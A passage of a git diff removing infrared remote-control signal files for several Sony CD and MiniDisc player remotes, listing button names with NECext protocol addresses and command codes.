11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: LINE+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: LINE- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 19 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1A 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: INDEX-- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: INDEX++ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISC1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: DISC2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: DISC3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: DISC4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: DISC5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: LEVEL_FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir deleted file mode 100644 index 8551413a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: VOLDWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: SLOWREW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SLOWFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: MUSICSCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: A.SPACE/A.CUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir deleted file mode 100644 index e7358acf0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir +++ /dev/null @@ -1,536 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: >25 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: UNK4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: UNK6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: SCROLL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: NONAME2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: NONAME1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1D 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1E 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: T.REC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: WRITE_CHAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: WRITE_NUM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: WRITE_NAME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3E 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3E 00 00 00 -# -name: MUSIC_SYNC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: EXTRA -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 41 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 42 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 43 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 44 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 45 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 46 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 47 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 49 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4B 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4E 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 5F 00 00 00 -# -name: JOG+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 60 00 00 00 -# -name: JOG- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 61 00 00 00 -# -name: JOG++ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 62 00 00 00 -# -name: UNK2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 62 00 00 00 -# -name: UNK5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 63 00 00 00 -# -name: JOG+++ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: UNK1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: UNK3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 69 00 00 00 -# -name: MEMO_SCAN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir deleted file mode 100644 index a4cfdf4c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: |>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir deleted file mode 100644 index 2fd8cd353..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pgm -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: ams- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: ams+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir deleted file mode 100644 index 38097cc05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: C.INDEX -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 18 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 19 00 00 00 -# -name: FILE_RECALL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1A 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1B 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: SLOWREW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SLOWFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: A.SPACE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: PEAK_SEARCH -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4F 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: 